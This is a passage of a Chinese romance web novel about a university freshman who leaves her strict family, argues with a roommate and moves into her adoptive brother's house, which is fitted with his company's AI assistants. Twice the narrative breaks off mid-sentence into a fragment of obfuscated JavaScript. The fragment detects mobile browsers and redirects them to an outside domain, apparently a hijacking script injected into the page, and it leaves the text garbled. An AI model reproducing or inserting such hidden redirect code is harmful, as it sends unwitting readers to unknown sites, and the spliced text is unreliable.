客厅陷入安静,谢昱宁放开她,捡起递上的录取通知书,仔细将腰封套上。 “小姐。”袁姨的声音打破沉默氛围,她递过冰袋和毛巾,“敷一下吧。” 钟卿悦用手背拭去泪水,轻轻接下,“谢谢。” “太太脾气急躁,您不该跟她顶着来的。” 钟卿悦点点头。 袁姨不好多说,默默转身离开。 “走吧。”谢昱宁开口,抬步朝楼梯间走去。 钟卿悦茫然看去,下一秒便回过神,立刻小跑跟上。 顺着楼梯到负一层羽毛球馆,两人席地而坐。 钟卿悦用毛巾包住冰袋,小心翼翼往脸颊上放,接触的瞬间,刺骨的凉糅杂着痛蔓延开来,她下意识缩起脖子,倒吸一口气。 谢昱宁蹙眉,“给我。” 她乖巧递上前。 看着他拿出冰袋,将毛巾对折成两层才把冰袋包住。 “过来。”他扬扬手。 钟卿悦眨眨眼,顺从地挪挪屁股,离他近了些。 毛巾柔软,透着阵阵凉意,覆在肿胀的脸上能缓解些许灼烧般的痛感。 “被逐出家门了?”谢昱宁带着笑意的声音从头顶传来。 钟卿悦冷哼一声,“逐吧逐吧,以后就靠你给他们养老了,我要去流浪天涯了。” “天下那么大——” “何处是我家——” 她猛地仰起头,冰袋划过脸颊,又是一阵明显的痛。 “嘶——”她吸口冷气。 谢昱宁无奈,“消停会儿吧。” 他拿开冰袋,露出她触目惊心的脸,原本白皙的皮肤变得红彤彤一片,从眼眶外扩散到耳根。 “除了疼还有别的感觉吗?”谢昱宁问。 她摇摇头,“就当时有点发懵,现在只剩疼。” 说罢,她尝试张张嘴,接着就疼得龇牙,“好像连吃饭都困难了。” “嗯,肿了,像包子。” 谢昱宁将冰袋拿出,重新折了一下毛巾又包起来,避免接触皮肤的面过于凉。 小心翼翼敷在她耳根下的红肿处,“你小时候脸就像现在这样,婴儿肥,冬天冷了还两团红。” 钟卿悦不敢再大幅度的动,轻轻吐吐舌头,“怪袁姨,一直强制投喂我,喂得我又胖又圆。” 谢昱宁敛眸,唇角不自觉上扬。 那天他们在羽毛球馆呆了好久,呆到冰袋都化成水,她的脸不再那么肿。 — 争吵后,钟卿悦彻底过上无人问津的日子。没人管她练琴,也没人逼她吃早饭。 她终于彻底自由。 然而自由是带着代价来的,先是伤导致她终日难眠,整夜半睡半醒,有时一翻身碰到就能疼醒。 其次是她的银行卡被冻结了,她变成身无分文的人,这比脸上的伤还疼,更让她彻夜清醒,终日忧愁。 深夜,她抱着被子,望着漆黑一片的天花板。不能再堕落下去了,她明天要早起去公园跑一圈,再找孟辰薇吃个早饭,倾诉一下最近痛苦的遭遇。 心思落定,她冲着黑暗轻唤,“小饼干。” 远处亮起幽幽蓝光,照在洁白的墙壁上,“你好,多次拒绝过敏乐队主唱的当代肖邦。” “定明天七点的闹钟。” “结合您最近一周睡眠质量监测结果,建议您延后起床时间。充足的睡眠才能拥有健康体魄。” 她一怔,爬起来看向桌面闪着一双呆萌虚拟眼睛的小饼干,“什么时候新增了睡眠监测?” 顶端光圈闪了闪,小饼干圆溜溜的眼睛转为两个问号,半晌,又恢复成黑色眼睛,清脆回应,“本周进行了系统升级,睡眠监测处于内测阶段。” “那我最近睡眠质量怎么样?” “8月15日睡眠报告:睡眠评分65分,睡眠时长7小时3分钟,捕捉一次梦话,深睡眠51分钟,浅睡眠5小时19分钟,快速眼动睡眠53分钟,清醒14次。您的睡眠质量不佳,浅睡眠时间过长,身体难以进入深度睡眠或快速眼动睡眠,可能受情绪紧张,压力过大或焦虑影响。” “长期睡眠不佳会导致免疫系统受损、心血管疾病风险增加、身体疲劳、认知功能下降、加速衰老、缩短预期寿命等。” 钟卿悦蹙眉,“谢谢,有被吓到。” 小饼干的黑色眼睛眯成一条直线,而后眨了眨,“可以通过适当运动改善情绪紧张、压力大等情况,如慢跑、瑜伽、游泳等,另外均衡饮食,减少摄入咖啡因。或与家人、朋友、信任的人倾诉,分享自己的感受,也可以减少消极情绪。如果糟糕情绪持续影响生活,建议寻求专业心理咨询师的帮助。” 钟卿悦直挺挺躺到床上,叹口气,“谢谢你小饼干。” “希望可以帮助到您。”机械的呆萌音顿了顿,“多次拒绝过敏乐队主唱的当代肖邦,请问您的闹钟要设定在几点?” “上午九点,谢谢。” “好的,晚安。”小饼干应下后,幽幽蓝光瞬间消弭,房间内又恢复一片漆黑。 “晚安。”她喃喃自语,拥着被子翻个身,又牵动到脸颊的伤,倒吸口气,又叹口气,怎么还不开学? 翌日,她起床也没吃早饭,戴上口罩帽子,趁着日头不算大直奔不远处的公园,转了一圈后直接去找孟辰薇。 到了约定的咖啡店,坐到孟辰薇对面,她仍旧戴着帽子口罩。 孟辰薇不免疑惑,她悄悄拉下口罩给她看,惊得她瞬间瞪大眼睛。 找到倾诉口,钟卿悦一股脑把这两天的遭遇讲给孟辰薇。从挨打讲到冻结银行卡,从伤口疼讲到穷困潦倒。 孟辰薇一通安慰,继而强硬转给她两千块钱,让她先拿着花。 她感激涕零,拉着孟辰薇的手说道:“我开学就勤工俭学。” “没事啦,等你手里有钱再说,我又花不到。”孟辰薇拍拍她,“别担心。” “对了。”孟辰薇转言道,“你知道贺文杉的事吗……?” “贺文杉?”钟卿悦一脸懵,“他咋了?” 孟辰薇连忙闭嘴,意识到好像说错话了。 “什么啊?”钟卿悦推着她催促道,“说呀。” 孟辰薇叹口气,“你听了也别问他,就当不知道。他没被海华大学录取,被江城理工录取了。” 钟卿悦瞳孔微缩,不可置信道:“他分数不够?” “只超了几分。” “怪不得……”钟卿悦心情复杂,“他其实没必要报去海华的。” 孟辰薇张了张嘴,有些犹豫,不知该不该开口。 见她欲言又止,钟卿悦已经明白她要说什么,“停,打住,不要说。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501534|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 多年好友的默契在这一刻展现的淋漓尽致。 孟辰薇忙点头,“好好,不说不说。” 不说,还能继续当作朋友,说得多了,懵懂的情愫只会格外清晰。 — 脸上的伤好之际,也到了开学之时。 28号报到,26号晚上钟爸敲响钟卿悦的房门。 “悦儿。”钟爸声音温柔。 钟卿悦望着门口的人,冷哼一声,撇过头不看他。 钟爸当惯了老好人和事佬,斡旋于她和钟妈之间,哪边也不得罪,又是好丈夫又是好爸爸。 他殷勤走上前,笑容和善,“来,给你这张银行卡。” 银行卡?! 触发敏感词,钟卿悦立刻回头。 “往后你生活费就打到这张卡里。” 钟卿悦垂下眼皮瞄了一眼,没立刻接,等着钟爸继续说话。 钟爸的脾气被她拿捏的死死的。 只见钟爸欲言又止地坐到沙发上,盯着她不好意思地笑了笑,缓缓开口,“不多,每个月五千,月初你妈妈就给你打上。” ??? 夺少?你说夺少? 钟卿悦翻个白眼,立刻转过身,连个侧脸都不留给他。 “哎呀,你听爸爸讲哈。”钟爸连忙哄,“爸爸会想办法再贴补你一点。” “你也知道…”钟爸无力叹口气,“家里财政大权掌握在你妈妈手里,我银行卡的流水都是透明的,也不好操作。” 钟卿悦冷哼一声,她高中吃住都在家,衣服护肤品也不用自己花钱,一个月还能有一万五的零花钱,上了大学居然拦腰砍,她怎么活! “爸爸保证,每个月都再多给你一点!”钟爸抬手起誓。 钟卿悦双手抱胸回过身,“真的?” “真的!” 她幽幽叹口气,不接受也没好办法,有五千先拿五千。 “那好吧,你可不要忘记。” 见她接过银行卡,钟爸松口气,又试探开口,“28号…我可能没办法送你去学校。” 钟卿悦无所谓地耸耸肩,“我知道,我妈不让呗。如果过意不去就多转点钱给我。” 钟爸顾左右而言他,“不过没事,你哥能送你,他正好要去故城谈项目。” “哦。” 有些惋惜,拿不到钱了。 说完钟妈交代的事儿,钟爸也不敢多呆,匆匆离开,生怕钟卿悦再“敲诈”他。 27号晚上,袁姨帮钟卿悦收拾好行李,一个超大尺寸的行李箱,四件套、被子、日用品等一应俱全。 她第一次离家,袁姨各种不放心,千叮咛万嘱咐,恨不得能一起送她学校。 钟卿悦被她抒情的想哭,连忙推着她出门,催着她去休息。 28号一早,钟卿悦踏上去故城的车。 开出庄园大门时,她压在心里的石头就轻了许多,这些天,这个家,只剩窒息。 副驾驶的齐乐侧身递来一个粉色U型枕,“小姐,这次路程比较长,戴上能舒服些。” “谢谢。”钟卿悦礼貌接过,就看到他递给谢昱宁一个灰色的。 她立刻倾身凑到谢昱宁旁边,扬着脸,“哥,我们换。” 谢昱宁偏头看她,“为什么?” “我喜欢灰色啊。”她说得理直气壮。 “我不喜欢粉色。”谢昱宁转回视线,目视前方,不看她。 计谋没得逞,她惋惜地耸拉下脑袋,“求求你了。” “求我?”谢昱宁懒懒的目光再次落在她脸上,“求我干什么?” 她扯扯他西装下摆,“跟我换。” 8. 第 8 章 钟卿悦如愿拿到灰色U型枕。 反观谢昱宁,冷着个脸,黑色西装搭配粉色U型枕,怪异中透着些可爱。尤其U型枕后侧还有一对猫耳朵样的装饰,顶端坠着两撮白毛,怎么看怎么好玩。 钟卿悦偷偷摸摸拿手机拍了张照片。 快门键按下的瞬间,谢昱宁的声音已然响在耳边,“就知道你没安好心。” 她也不藏着掖着了,大方展示给他看,“多可爱,化身小猫。” 谢昱宁瞥了一眼,眉头皱得更深,却没再多说话。 一路上钟卿悦吃吃喝喝,玩会儿手机,看会儿综艺。看累了便又靠着椅背睡着了。 再睁眼时,车子已经下高速,行驶在环海路上。 她低低吃惊了一声,兴奋地凑到窗边。 湛蓝的天空与大海相连,形成水天一色的美丽场景,海岸边停着休息的观光游艇,更为豪华的巨型游轮则带着乘客驶向远方,围绕着郁郁葱葱的岛屿游览观赏。 落下窗户,热风混着咸咸的海水气味冲进鼻腔,她闭上眼猛然一吸,感叹道:“这就是自由的味道嘛?” “是盐分挥发的味道。”谢昱宁开口。 她扒着窗户回头,“你不懂,对于我这种没有自由的人来说,这一刻就是人生时刻。” 她仰头,微眯着眼看向远方,手伸出窗外试图触摸天空,“我会永远记得。” “钟卿悦!” “手不要了?” 谢昱宁冷厉的声音陡然从身后响起,吓得她猛地缩回手,缩的同时,伸出去的左手碰到扒着车窗的右手,更糟糕的是右手还拿着手机,间接导致手机没拿稳,眼看着就要翻出窗外。 就在这时,一辆货车飞快从旁边的车道开过,若不是她已经收回手,一定会撞到她手上。 她惊魂未定,顾不得后怕,手忙脚乱地扒拉着手机。 下一秒,一只手从她耳边穿过,指骨分明,修长瘦削,携着微弱的风,带着清冽的雪松气息,牢牢抓住濒临逃走的手机。 她心有余悸地回头,谢昱宁近在咫尺,一手撑着她身后的椅背,一手捏着她的手机,眉目清隽淡漠,似覆着冷霜。 “吓死我了。”她喃喃自语。 谢昱宁偏头撤开身子,双眸却蒙上一层晦暗,浓墨重彩。 劫后余生,她立刻升起窗户,安安静静坐回位置,牢牢握着手机,自由太危险了,差点丢了手机伤了手。 谢昱宁不看她,冷冷开口,“王叔,开一下车窗锁定。” 前排司机立刻应声。 钟卿悦不敢多言,双腿并拢,双手放在膝上,乖巧听着。 接下来的一路,她安静的像换了个人,别说闯祸了,连坐姿都没变过。 坚持到故南大学门口,车子停下,她才松了口气。 下了车,搬下行李箱,谢昱宁递给她一个方形保鲜盒。 她不明所以地接下,“这是什么?” 谢昱宁:“农场新采摘的葡萄和水蜜桃。” “这太多了,我也吃不完呀,宿舍应该没有冰箱,坏掉就浪费了。” “分给你室友。”谢昱宁薄唇轻启。 ……哦! 钟卿悦恍然大悟,谢昱宁要她维护室友关系呢! 她立刻放到行李箱上,仰头笑眯眯看他,“谢谢哥哥。你去忙吧,学校不让家长送。” “我走啦!”她拉起行李箱,朝他挥挥手,“工作顺利,注意安全。” 清丽的背影走进校门,渐渐消失在视野中。 谢昱宁坐上车,目光又不自觉望向校门,半晌,才偏头道:“王叔,去故城港口。” 车子启动,逼仄的车厢内悄无声息,只能听到车子行驶破风的声音。 “先生。”齐乐开口,“小饼干内测系统要全面升级吗?” 透过后视镜,后座冷漠的脸不显情绪。 等了半晌,谢昱宁才淡淡说道:“不用。” 齐乐点头,“那已经升级的单个设备……” “照旧单独运行。” 齐乐应下,看了眼导航上显示的到达时间,“刚才谢二爷那边的人又联系了,想问您有没有时间碰面。” “没空。” 谢昱宁靠着椅背,闭目养神。 自回国后,他二叔谢经业多番联系他,可见Alex的核心算法和代码对他的诱惑有多大。 他回想起那场车祸,父亲颤抖着手递给他的芯片,上面沾满血。 他父亲一直致力于研究全自主工作的智能机器人,芯片里储存着当年他所有的研究成果。 这么多年,他尽力让父亲的梦想落地。直至两年前,Alex诞生,它拥有人形身体,灵活稳定,具有情感交互系统,能感受人类情绪并给出相应的情感回应,这几乎是全球范围人工智能行业最显著的优势。 他睁开眸子,漠然望着窗外。 父母那场车祸,国外警局给出的判定只是一场意外,撞翻他们车的是一个宿醉的白种人,他无视红灯,超速行驶,将正常通过路口的他们的车撞翻。 但他不相信,他清晰记得翻倒的车外由远及近走来的模糊身影,看不到对面的脸,但靠近后的那双棕色皮靴上缝制着一块方形布料,上面细密的针脚绣着一个图样。 是冲着他父亲来的,只因他父亲手里握着核心技术。 五年前,谢昱宁在北部找到那个男人,他早已不穿那双靴子,但衣服的袖口上仍旧绣着同样的图案。 他说他只是拿钱办事,老板要他绑架他们一家,拿到一样东西,所以他跟踪了他们很多天。 那天清晨,他跟着他们的车往机场走,打算在偏僻的地方截下他们,却没想到他们先一步出了车祸。他想去车上寻找老板要的东西,可刚走近就听到警车鸣笛声,他仓皇离开。 他拿了老板的钱,却没完成任务,只好隐姓埋名生活着,直到谢昱宁找到他。 而他口中的老板,就是谢昱宁的二叔谢经业。 谢昱宁将计就计,用手里的筹码引蛇出洞。 车祸是意外吗? 那他回国后的车祸,也是意外? 他眯起眸子,窗外堆积的云层遮盖太阳,刺眼的光芒瞬间消失,阴影笼罩世界。呼吸间,炙热的亮光冲破层层叠叠的云,光芒万丈。 短暂的阴影在炎热的夏日显得微不足道,对酷暑没有任何影响,就像两场车祸,意外与否都已经不重要。 — 钟卿悦刚拖着行李进校门,许多学长学姐便凑上来,领着她到新生报到区。 排了十几分钟队,提交相关材料后领取到校园卡。 热心的学姐又带着她到宿舍楼下,签到领宿舍钥匙。 一通忙完,她疲倦地提着行李箱,耸拉着脑袋找到宿舍。 门敞开着,已经有人先来了。 她放缓脚步走进,环视一眼,四人间,均是上床下桌,里侧左边是一排储物柜,另一侧是卫生间,再往里是不大不小的阳台,挂着晾衣杆,麻雀虽小五脏俱全。 房间里的两位女生闻声齐刷刷抬头,一位戴着黑框眼镜,厚重的刘海压在眉毛上,面容清秀。另一位一头金色短发,穿搭洋气,化着精致的妆容。 钟卿悦礼貌颔首打招呼,“大家好,我叫钟卿悦。” 戴眼镜女孩害羞地推了推眼睛,声音轻柔,“你好,我叫路畅。” “我叫奚乐昕,可以喊我昕昕。”短发女生接话。 钟卿悦应声,提着行李箱躲过拥挤过道里的东西,找到自己的床铺。 路畅的床在她旁边,看她提着不少东西,便道:“需要帮忙吗?” “不用了,谢谢,我自己可以。” 话音刚落,门口突然发出一声巨响,三人均被吓一跳,慌张望过去,只见一个披头散发的女生蹲在地上捡东西,整张脸都藏在头发里,根本看不清面容,灰色手提包翻倒在地,散落零碎物品,口红、镜子、纸巾等等。 她身边的黑色行李箱更是七零八落,拉链崩开,箱身缠着一圈透明胶带,凑合着不让东西跑出来。 路畅急忙走上前去帮她捡。女生察觉身边有人,抬头露出俏丽的面容,只是瞬间,又低下隐在发间,一句话没说。 捡完东西,路畅退回到桌边。女生狼狈地拖着行李箱找到自己床位,大力把包往空桌上一甩,五金扣和桌面碰撞,震天的声音像是要掀了屋顶。 钟悦瞥了一眼,继续擦自己的桌子,这种人她相处不来,一有负面情绪就摔摔打打,她还是不看为好,她说话不好听,见面第一天吵起来就不好了。 整理完床铺,她把保鲜盒打开,里面是葡萄和水蜜桃,分装在不同的保鲜袋里,每种都有五份,上面贴着采摘日期和保鲜期。 钟卿悦拿着分给路畅和奚乐昕后,走到脾气不好的那个女生床边,不着痕迹地瞥了眼她床铺上贴的名字——李思渺。 钟卿悦不动声色转开视线,把水果放到她桌上,“给你。” 李思渺蹲在地上整理“破碎”的行李箱,面无表情地抬头看一眼,漠然说了句,“谢谢。” 到了晚上,班级召开班会,发了军训服,通知第二天就要开始为期一周的军训。 忙忙碌碌一整天,钟卿悦回到宿舍洗完澡便早早上了床。 躺在窄小的单人床上,入眼就是狭小的空间,伸伸胳膊就能碰到墙,床板又硬,侧躺硌骨头。钟卿悦深深叹口气,将拥着的夏凉被挪到身子底下垫着。 翻来覆去到十点多,寝室大灯关了,她也迷迷糊糊进入梦乡。 感觉刚睡着耳边就响起说话声,不算大,但在狭小的宿舍、夜深人静的时间,格外清晰。 “中路下去了。” “嗯嗯,我来了,打打打。” …… “卧槽,真无语,蹲这么久。” 钟卿悦昏昏沉沉睁开眼,摸手机看了眼时间,零点整。 这人大晚上不睡觉就算了,不知道别人要休息吗? 她烦躁坐起身,刚准备拉开帘子激情开麦,就听到旁边床铺传来细微的声音,“卿悦,睡了吗?” 她打开床头灯,探头撩开侧面帘子,就见路畅也撩着帘子往她这边看。 “给你这个。”路畅递来一个粉色包装袋,上面写着——真正隔音,戴上就像聋了。 “不用。”钟卿悦将她手推回去,转身拉开帘子。 “李思渺同学,现在是凌晨,睡觉时间,麻烦小点声,不要打扰别人休息。” 话音落,李思渺床铺里的声响瞬间消失,安静的像没有人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501535|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自知没理不敢接话,钟卿悦也懒得搭理她,拉上帘子睡觉。 刚躺下,就听到李思渺再次开口,“不玩了,舍友毛病多,晚上不让说话。” 钟卿悦翻个白眼,真是倒打一耙的好手。 “卿悦。”侧面又传来轻唤。 钟卿悦支着胳膊拉开帘子,路畅竖起大拇指对她笑笑,继而又把耳塞递过来,“未雨绸缪。” 她点点头接下,“谢谢。” — 一夜半睡半醒,第二天六点爬起来就去集合。整整一天,除了吃饭能稍微喘口气,其他时间简直是人间炼狱。 熬到晚上九点,开完会宣布解散。钟卿悦拖着疲惫的身子一股脑往寝室走,她要累死了,浑身上下全是汗,像刚从蒸笼里拖出来似的,拧拧衣服都能滴出水的架势。 回到寝室,奚乐昕先开口,“我们商量个洗澡顺序吧。” 钟卿悦和路畅没意见,附和着点点头,毕竟集体生活还是要沟通着来。 这时,李思渺开口了,“你们洗吧,我不洗了。” 不洗了?! 钟卿悦以为自己听错了。 反观奚乐昕和路畅,也都是满脸震惊的表情。 几十秒钟的时间,钟卿悦消化完李思渺的话,“那我们三个剪刀石头布吧。” 两人缓过神,连连应下。 军训第一天在兵荒马乱下度过。 第二天一早,闹钟一响,钟卿悦只想杀人。 军训一周,钟卿悦想了一周,精神世界无人生还。 而这一周,李思渺就洗了一次澡,再次刷新钟卿悦的认知,到了后面的时候,她隐约能在寝室里闻到汗臭味。似乎李思渺也有意识,于是她每天出门前都往身上……喷香水! 这些事情都在一点点瓦解钟卿悦的精神,直到军训结束后的当晚…… 她洗完澡去洗衣服,打开虚掩着的洗衣机门,清晰看到滚筒壁上粘着一只白色袜子,脚尖跟后跟处还泛着斑驳的黄色。 她闭上眼,情绪几近崩溃。 压了几秒钟,仅仅几秒钟,她猛然转身,推门而出,站在卫生间门口,“洗衣机里的袜子是谁的?” 路畅和奚乐昕齐刷刷回头看她,下一秒统一摇了摇头,异口同声,“不知道。” 她转头看向李思渺半拉着的床铺,人正趴在床上玩手机。 “李思渺,袜子是你的吗?” 李思渺缓缓抬头,随意道:“可能吧。” “你去拿出来。”她冷声,“寝室的洗衣机是公共物品,袜子含有多种细菌,麻烦你尊重一下其他人。” “你帮我拿出来呗,伸个手的事儿,反正你也要洗衣服。”李思渺托着腮,眼睛还瞟着手机,“我怎么不尊重你们了?不就是没看到忘记晾上了,况且我没脚气,袜子也没细菌。” 钟卿悦眼前发黑,原本军训一周就累得半死不活了,眼下恨不得直接晕厥躺地上。 在一旁听着的两人也明白了事情始末,奚乐昕接话道:“李思渺,洗衣机不是你一个人用,袜子上有真菌,你扔进洗衣机洗,让别人还怎么洗衣服。” 李思渺猛然坐起身,“我袜子怎么了?洗完都是干净的。怎么你们的衣服格外高贵吗?明天我就找辅导员说你们霸凌同学。” 奚乐昕脾气也上来了,气得脸颊浮起两团红晕,张嘴就要和她争辩,钟卿悦连忙拦住,摇摇头,“话不投机半句多。” 她看向李思渺,“不止你会找辅导员。” 事情不了了之,钟卿悦没洗衣服,但她看到奚乐昕戴着手套进卫生间把李思渺剩的那只袜子扔进了垃圾桶。 深夜,她躺在床上,抱着手机和孟辰薇吐槽。 孟辰薇听完她的描述,雷得连发一串黑脸表情包。 她翻个身,怒戳屏幕,[我要退寝!!!!] [孟辰薇:啊?!学校允许吗?] [钟卿悦:不知道!我明天就去问,我一刻也忍不了了!] — 翌日,钟卿悦直接找到辅导员,说明情况,表示自己想退寝出去租房子。 辅导员先是规劝她一番,但看她去意已决,便给了她一张退宿申请表,表示需要家长知情并签字,通过审核后才能退宿,且原则上退宿后不能再申请入住。 她应下,拿着申请表离开办公室。 家长签字…… 回江城找爸妈吗?肯定不现实,她打算跟钟爸说一声,然后自己签上。 这件事倒无足轻重,眼下难题是她手里的生活费租了房子就无法生活了。 走出办公楼,包里的手机突然响起,她拿出一看,屏幕上跳动着“哥哥”二字。 来得早不如来得巧,这就是心有灵犀! 她正有求于谢昱宁呢! 不敢犹豫,她迅速接起电话,“喂,哥哥!” 电话那头的谢昱宁一愣,拿远手机看了眼,这么开心?他还以为军训会让她哭鼻子呢。 “哥?”听筒里她的声音带着些许疑惑。 谢昱宁回过神,回道:“嗯,在哪?” 钟卿悦环视一周,“回寝室的路上,找我有事吗?” “到南门,带你吃饭。” 钟卿悦粲然一笑,梨涡深深,“等我!” 9. 第 9 章 钟卿悦跑到南门,远远就看到熟悉的车子停在路边。 拉开车门上车,她立刻笑眯眯冲着后排的人打招呼,“哥,好久不见。” 谢昱宁沉静的目光落下来,带着几分漫不经心,“好久不见。” “怎么样?我是不是晒黑了?” 谢昱宁挑眉上下打量她一眼,“没。” “那就好!”她勾起唇角,露出一个大大的微笑,“你怎么来故城了?项目还没忙完吗?” “嗯,周期比较长,要长期在故城。”谢昱宁顿了顿,“我在这边买了房子。” “什么!!”钟卿悦杏眸瞪大,这不就是传说中的踏破铁鞋无觅处,得来全不费工夫嘛! 计划在脑海一闪而过,她正愁房子,房子这不就送上门了。 心思落定,她忙从包里掏出申请表,“正好,哥,你帮我签字吧。” 递到面前的纸折痕明显,但不妨碍看清顶端的黑色大字——《退宿申请表》。 他眸色沉了沉,没接,“什么意思?” 见他不为所动,钟卿悦直接将申请表按到他手上,“签字呀,我要搬出来住。” “你不知道,我们寝室有个奇葩……” 接下来的几分钟,车厢内回响着钟卿悦怒不可遏的抱怨,什么不洗澡一股臭味,半夜扰民、洗衣机洗袜子、脾气大甩脸子等等。 一通发泄结束,她气得双手叉腰,“我绝不住在学校,死都不住!!” 谢昱宁安静听着,直至她一句话总结后,才淡淡勾了勾唇角。 “所以……” 忽然,一张脸凑到他身边,带着清淡的山茶花香。 他有所察觉的垂眸,入眼是一张精致的面容,杏眸蕴着水光,盈润澄澈,卷翘的睫毛扑闪扑闪,好似羽毛,却不偏不倚扫过他心间。 钟卿悦抿唇轻笑,梨涡漾在唇边,“我跟你挤挤,哥?” 谢昱宁身子一僵,立刻冷下脸,“坐好。” “哎呦。”钟卿悦撤回身子,指尖却伸了过来,直接拉住他的袖子,左右摇晃,“你自己住也是住,让我过去挤挤呗,你不在这边的时候我还能给你看房子,万一有小偷光临,我一个擀面杖就能把他敲出去。” 谢昱宁额角抽了抽,“你会功夫?” “当然!”她得意扬起下巴,“拆你死空夫。” 谢昱宁脸黑的更厉害,脑海浮现她之前发给他的表情包,一只橘猫跳起来,四肢悬空,配得字就是“拆你死空夫”。 他不接话,钟卿悦继续发起攻势,软的用过了,当然要开始上硬的。 “一句话,签不签!”她双手环抱,颇有一副她占据主动权的模样。 “签。” 谢昱宁无奈,抬手去拿手盒里的钢笔。 “那让不让我住?”她继续得寸进尺。 他低着头,笔尖唰唰在纸张上滑动,声音清淡,“住。” yes!计划通! 吃过午饭,谢昱宁照旧把她送到校门口,目送她背影消失在视线中才唤司机离开。 车子启动,他若有所思开口,“齐乐。” 副驾的齐乐立刻侧身耸耳听闻。 “衣帽间的整理系统安装到故城房子里一套。” 齐乐立刻应声,“明白。” “港口项目留两个人对接,其他人明天都回江城吧,你也回去。” 齐乐犹豫开口,“您……” 谢昱宁知道他想说什么,淡淡开口,“我不回去,江城项目你处理,有问题打电话。” “好的,先生。” — 回到学校钟卿悦就把申请表交了上去,辅导员反复嘱咐在未通过申请前不能离校居住。 她只好乖巧应下,暂时再忍耐两天。 当天下午,谢昱宁又安排保姆来学校拿走她没洗的衣服,顺便送来两套未拆吊牌的新衣服。 她感动不已,指尖雀跃地戳着屏幕,给谢昱宁送去一堆夸赞。 在寝室又住了两天,申请表一直没通知,倒是李思渺有所改变。虽然还是不怎么洗澡,但袜子不再扔进洗衣机了,也算不祸害舍友了。 后来她才知道,在她找了辅导员的第二天,奚乐昕和路畅也找了辅导员,把李思渺的所作所为又说了一遍。 怪不得李思渺有所改善,大约是辅导员私下找了她。 一周后,钟卿悦的退宿申请通过,宿管阿姨来宿舍检查公共物品后签了字。 她趁下午没课,立刻收拾东西走人,不带一丝留恋。 谢昱宁接着她回家,从学校南门出来,拐了一条街就到了小区门口。 一处闹中取静的花园洋房,面积不算大,上下两层,后花园有一个泳池,泳池边栽了一棵参天大树,遮阴蔽日,夏天乘凉的好去处。室内格局和家里很像,她进门转了一圈,竟有种亲切的感觉。 谢昱宁安排了保姆,负责收拾卫生和钟卿悦在家时给她做饭。又安排了司机,负责上课时接送她。 这些都和江城没差,唯一不同的是——她的衣帽间迎来一位新伙伴。 钟卿悦推开衣帽间门时,发现靠墙的一排衣柜已经挂满新的衣服,一旁的墙上挂着一块11英寸的平板电脑。 她好奇回头瞧着谢昱宁,“这就是你说的系统?” “嗯。” 谢昱宁走近轻戳一下屏幕,系统弹出人脸识别的解锁面板,钟卿悦好奇地凑过去,结构光摄像头立刻捕捉,瞬间解锁。 谢昱宁指尖滑动屏幕,讲解道:“衣柜里所有衣服都已经录入系统,衣架上有编号和定位,无论你挂在哪里,系统都可以准确找到它的位置。” 闻言,钟卿悦眼中瞬间亮起光,“所以不存在找不到衣服的难题了?!” 谢昱宁挑眉,“嗯。” “天呐!” 她立刻凑上前查看,屏幕中所有衣服图片都配有编号,点击就会跳转出衣服所在衣柜中的位置,还配有AI穿搭建议图和体感温度适宜的穿衣建议。 这简直是爱穿搭女孩之光! 她本身衣服就多,之前总会遇到这类问题。买了的衣服随手挂起来就压箱底了,亦或者有时急着用某件衣服来搭配了,翻箱倒柜又找不到了,导致她曾经买过许多相似的衣服。 “但是……”她提出疑惑,“我穿过洗了的衣服再挂起来岂不是就乱了?” “不会。”谢昱宁斩钉截铁。 他走到衣柜前,随机拿出一件衣服,钟卿悦立刻看出端倪。 这些衣架并非常用的普通衣架,它在挂钩下端的地方有一块小小的电子屏,上面显示着衣服图片。 “对应挂上。”谢昱宁放下衣服,“这些有保姆。” 她心满意足,连连点头。 “它还有语音交互系统,你可以给它设置名字。” 谢昱宁点击屏幕中的耳机标识,系统立刻传出呆萌的机械音,“你好,主人。” 谢昱宁:“设置称谓。” “好的,主人,您愿意给我取什么名字呢?” 谢昱宁侧头看向钟卿悦,挑眉示意她开口。 钟卿悦托着下巴思忖道:“有了小饼干,嗯……” “就叫小鱼丸吧!” “好的,主人,我叫小鱼丸。请问您想让我如何称呼您?” 钟卿悦歪头,灵光一闪,“叫我见过过敏乐队的当代巴赫。” 话音落,谢昱宁额角抽了抽,她总能说些、做些让他意想不到的事。 小鱼丸应声,“好的,见过过敏乐队的当代巴赫。” 钟卿悦满意地点点头,“不错。” 她转头看向谢昱宁,好奇问道:“小鱼丸是你们公司的吗?” “嗯。” “发明这个的人简直是甜菜,甜菜啊!” 谢昱宁垂下眼,嘴角露出淡淡的笑意,所以他是天才? 钟卿悦:“这个系统可以下载到吗?还是收费购买?” “都不是。”谢昱宁顿了顿,认真看想她,“给你做的而已。” 钟卿悦瞬间瞪大眼睛,半张着嘴半天才感动地抹抹眼眶,“哥,你也太好了!” — 搬离寝室的大学生活迎来巅峰,学着喜欢的专业,过着衣食无忧的日子,简直是她梦寐以求的自由人生。 谢昱宁工作繁忙,多数时候她都是自己在家,有时碰上她满课,两人甚至四五天都打不了照面。 周五晚上,她有意等谢昱宁回家,便窝在沙发里看游戏比赛,看着看着不知不觉睡着了。 凌晨谢昱宁推门而入,屋内不似以往昏暗,亮着灯宛如白昼,还依稀能听到电视里隐约传出的对话声。 他换下拖鞋往客厅走,只走了一半就僵在原地不动了。 